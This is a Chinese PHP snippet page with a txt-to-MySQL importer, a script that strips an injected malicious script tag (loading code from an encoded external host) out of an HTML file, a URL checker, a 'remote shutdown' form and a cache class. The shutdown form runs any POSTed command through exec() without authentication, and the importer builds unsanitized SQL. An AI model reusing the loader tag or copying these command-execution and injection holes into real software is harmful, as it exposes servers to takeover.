php把txt文本转换成数组并保存数据库
今天有一个工作要做就是把一个达5万条的记录的txt 文件的内容要保存到数据库,开始想到用file_get_contents后来就看到可以用file更简单,下面是我写的程序.
<?php
include_once('../inc/connect.php');
class fso_getline{
var $filename ='number.txt';
var $content;
var $arr;
function read_line(){
if(file_exists($this->filename) ){
$this->content =file($this->filename);
if(is_array($this->content)){
$this->arr =$this->content;
}else{
$this->error(1);
}
}else{
$this->error(0);
}
}
function array_to_database(){
foreach( $this->arr as $temp ){
echo $temp,'<br>';
$this->sava_data($temp);
}
}
function sava_data($cd){
$sql ="Insert into wk_card(card_id) value('$cd')";
mysql_query($sql);
}
/*
如何使用file_get_contents()函数就要用到下面的转换
function into_array(){
$temp =str_replace(chr(13),'|',$this->content);
$this->arr =explode('|',$temp);
}
测试输出数组函数
function echo_array(){
print_r($this->arr);
}
*/
function error($id){
$error_array =array('file not exists','file unload');
echo $error_array[$id];
}
}
类的调用方法
$test =new fso_getline();
$test->read_line();
$test->array_to_database();
?>
最后申明一下本站原创转载注明: www.111cn.net/phper/php.html
现在比较狂的网页病毒代码,常常让你的网站饱受网页病毒代码困扰,我公司服务器也碰到同样的问题了,早上烦躁中写了一个清除网页病毒的php程序,原理是每次访问是都会调用这种程序,读取一个index文件是否有毒如果有就把执行程序把病毒替换掉就OK了,只是临时的办法了,希望高手出更高级的方法处理吧.
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
本站原创转载请注明: www.111cn.net/phper/php.html
今天突发奇想, 我在给一客户写一案例时,有一个地方要求网友填写url但是,要保存是正确可访问的,虽然客户没要求但是我们还是想到了这样做,就是用php 的file_get_contents ,ob_get_contents() 来读取远程文章内容,如果有就真否则就假了,下面是我举的两个实例了.关于ob_get_contents() 我们要在php.ini里修改几个地方curl_开头的地方前面的;去了就OK了.
<?php
$url='http://www.111cn.net';
if(@file_get_contents($url)){
echo 'ture';
}else{
echo 'false';
}
if(getcontent($url) ){
echo 'ob_ture';
}else{
echo 'ob_false';
}
function getcontent($url){
$ch =curl_init($url);
ob_start();
curl_exec ($ch);
$retmsg=ob_get_contents();
ob_clean();
ob_end_flush();
curl_close ($ch);
return $retmsg;
}
?>
申明:本站原创文章转载请注明来处 www.111cn.net/phper/php.html
<?php
/**
* 远程启动计算机
* 注意:iis/apache需要有windows/system/cmd.exe执行权限
* name:薛如飞
* qq:6706250
* e-mail:xuerufei@163.com
* blog:[url=http://hi.baidu.com/]http://hi.baidu.com/[/url]飞云盖天
* date:08.08.28
**/
if (isset($_POST['cmd']))
{
$cmd= stripslashes( $_POST['cmd'] );
exec( $cmd,$out);
var_dump($out);
echo '<br>';
var_dump($cmd);
}
else
{
?>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<form action="index.php" method="post" name="form0" id="form0">
<p> </p>
<p align="center" >CMD</p>
<table width="200" border="0" align="center">
<tr>
<td width="81" height="18">选择:</td>
<td width="109"><select name="cmd">
<option value="shutdown -r" selected="selected">重启计算机</option>
<option value="shutdown -s">关闭计算机</option>
<option value="shutdown -l">注销当前用户</option>
</select></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" name="Submit" value="提交" /></td>
</tr>
</table>
<p> </p>
</form>
<?php
}
?>
<?php
/**
* cache class
*/
class Cache {
/**
* cache path
*
* @var string
*/
var $cache_path;
/**
* timeout
*
* @var integer
*/
var $time = 60;
/**
* construct for this class
*
* @param string $cache_path
* @return Cache
*/
function Cache($cache_path = 'cache') {
if(is_dir($cache_path)) {
$this->cache_path = rtrim($cache_path,'/').'/';
} else {
die('cache dir is not exists.');
}
}
/**
* set timeout
*
* @param integer $time
* @return boolean
*/
function setTime($time) {
if(isset($time) && is_integer($time)) {
$this->time = $time;
return true;
} else {
return false;
}
}
/**
* read cache
*
* @param string $cache_id
* @return mixed
*/
function read($cache_id) {
$cache_file = $this->cache_path.$cache_id.'.cache';
if(!file_exists($cache_file)) {
return false;
}
$mtime = filemtime($cache_file);
if((time() - $mtime) > $this->time) {
return false;
} else {
$fp = fopen($cache_file,'r');
$content = fread($fp,filesize($cache_file));
fclose($fp);
unset($fp);
if($content) {
return unserialize($content);
} else {
return false;
}
}
}
/**
* write cache in a file
*
* @param string $content
* @param string $cache_id
* @return boolean
*/
function write($content,$cache_id) {
$cache_file = $this->cache_path.$cache_id.'.cache';
if(file_exists($cache_file)) {
@unlink($cache_file);
}
$fp = fopen($cache_file,'w');
$content = serialize($content);
if(fwrite($fp,$content)) {
fclose($fp);
unset($fp);
return true;
} else {
fclose($fp);
unset($fp);
return false;
}
}
/**
* clean all cache
*
* @param string $path
* @return boolean
*/
function cleanCache($path = 'cache') {
if(is_dir($path)) {
$path = rtrim($path,'/').'/';
$handler = opendir($path);
while (($f = readdir($handler)) !== false) {
if(!is_dir($f)) {
if($f != '.' && $f != '..') {
@unlink($path.$f);
}
} else {
$this->cleanCache($f);
}
}
} else {
return false;
}
}
}
?>
相关文章
- 在php中eval是一个函数并且不能直接禁用了,但eval函数又相当的危险了经常会出现一些问题了,今天我们就一起来看看eval函数对数组的操作 例子, <?php $data="array...2016-11-25
- 操作类就是把一些常用的一系列的数据库或相关操作写在一个类中,这样调用时我们只要调用类文件,如果要执行相关操作就直接调用类文件中的方法函数就可以实现了,下面整理了...2016-11-25
- 本文给大家分享C#连接SQL数据库和查询数据功能的操作技巧,本文通过图文并茂的形式给大家介绍的非常详细,需要的朋友参考下吧...2021-05-17
- 这篇文章主要介绍了C#从数据库读取图片并保存的方法,帮助大家更好的理解和使用c#,感兴趣的朋友可以了解下...2021-01-16
- 这篇文章主要介绍了Python 图片转数组,二进制互转操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-03-09
- 这篇文章主要介绍了Intellij IDEA连接Navicat数据库的方法,本文通过图文并茂的形式给大家介绍的非常详细,对大家的学习或工作具有一定的参考借价值,需要的朋友可以参考下...2021-03-25
- 在开发过程中,我们经常会将日期时间的毫秒数存放到数据库,但是它对应的时间看起来就十分不方便,我们可以使用一些函数将毫秒转换成date格式。 一、 在MySQL中,有内置的函数from_unixtime()来做相应的转换,使用如下: 复制...2014-05-31
- 本文章提供在量的数据中级操作实例有如对键名比较计算数组的差集 计算差集 给指定数组中插入一个元素 反转数组 交集赋值新的数组实例。 //定义回调函数 funct...2016-11-25
- C#使用System.IO中的文件操作方法在Windows系统中处理本地文件相当顺手,这里我们还总结了在Oracle中保存文件的方法,嗯,接下来就来看看整理的C#操作本地文件及保存文件到数据库的基本方法总结...2020-06-25
- 这篇文章主要介绍了C#二维数组基本用法,以实例形式分析了C#中二维数组的定义、初始化、遍历及打印等用法,具有一定参考借鉴价值,需要的朋友可以参考下...2020-06-25
- 下面一段代码给大家介绍php curl模拟post请求的示例代码,具体代码如下: <?php$uri = "http://www.cnblogs.com/test.php";//这里换成自己的服务器的地址// 参数数组$data = array ( 'name' => 'tanteng'// 'passwor...2015-11-24
- 通过内网连另外一台机器的mysql服务, 确发现速度N慢! 等了大约几十秒才等到提示输入密码。 但是ping mysql所在服务器却很快! 想到很久之前有过类似的经验, telnet等一些服务在连接请求的时候,会做一些反向域名解析(如果...2015-10-21
- Array数组在C#中同样是最基本的数据结构,下面为大家C#数组的常用操作方法小结,皆为细小的代码段,欢迎收看收藏...2020-06-25
- 某些时候,例如为了搭建一个测试环境,或者克隆一个网站,需要复制一个已存在的mysql数据库。使用以下方法,可以非常简单地实现。假设已经存在的数据库名字叫db1,想要复制一份,命名为newdb。步骤如下:1. 首先创建新的数据库newd...2015-10-21
- mysqldump命令的用法1、导出所有库系统命令行mysqldump -uusername -ppassword --all-databases > all.sql 2、导入所有库mysql命令行mysql>source all.sql; 3、导出某些库系统命令行mysqldump -uusername -ppassword...2015-10-21
- 1005:创建表失败1006:创建数据库失败1007:数据库已存在,创建数据库失败1008:数据库不存在,删除数据库失败1009:不能删除数据库文件导致删除数据库失败1010:不能删除数据目录导致删除数据库失败1011:删除数据库...2013-09-23
- 下面小编就为大家带来一篇C# 拷贝数组的几种方法(总结)。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2020-06-25
- 本文记录的要实现的功能类似于 MySQL 中的 ORDER BY,上个项目中有遇到这样的一个需求。 要求:从两个不同的表中获取各自的4条数据,然后整合(array_merge)成一个数组,再根据数据的创建时间降序排序取前4条。 遇到这个...2014-06-07
- 这篇文章主要介绍了c#从数据库里取得数据并异步更新ui的方法,大家参考使用吧...2020-06-25
- 这篇文章主要介绍了C#实现字符串转换成字节数组的简单实现方法,仅一行代码即可搞定,非常简单实用,需要的朋友可以参考下...2020-06-25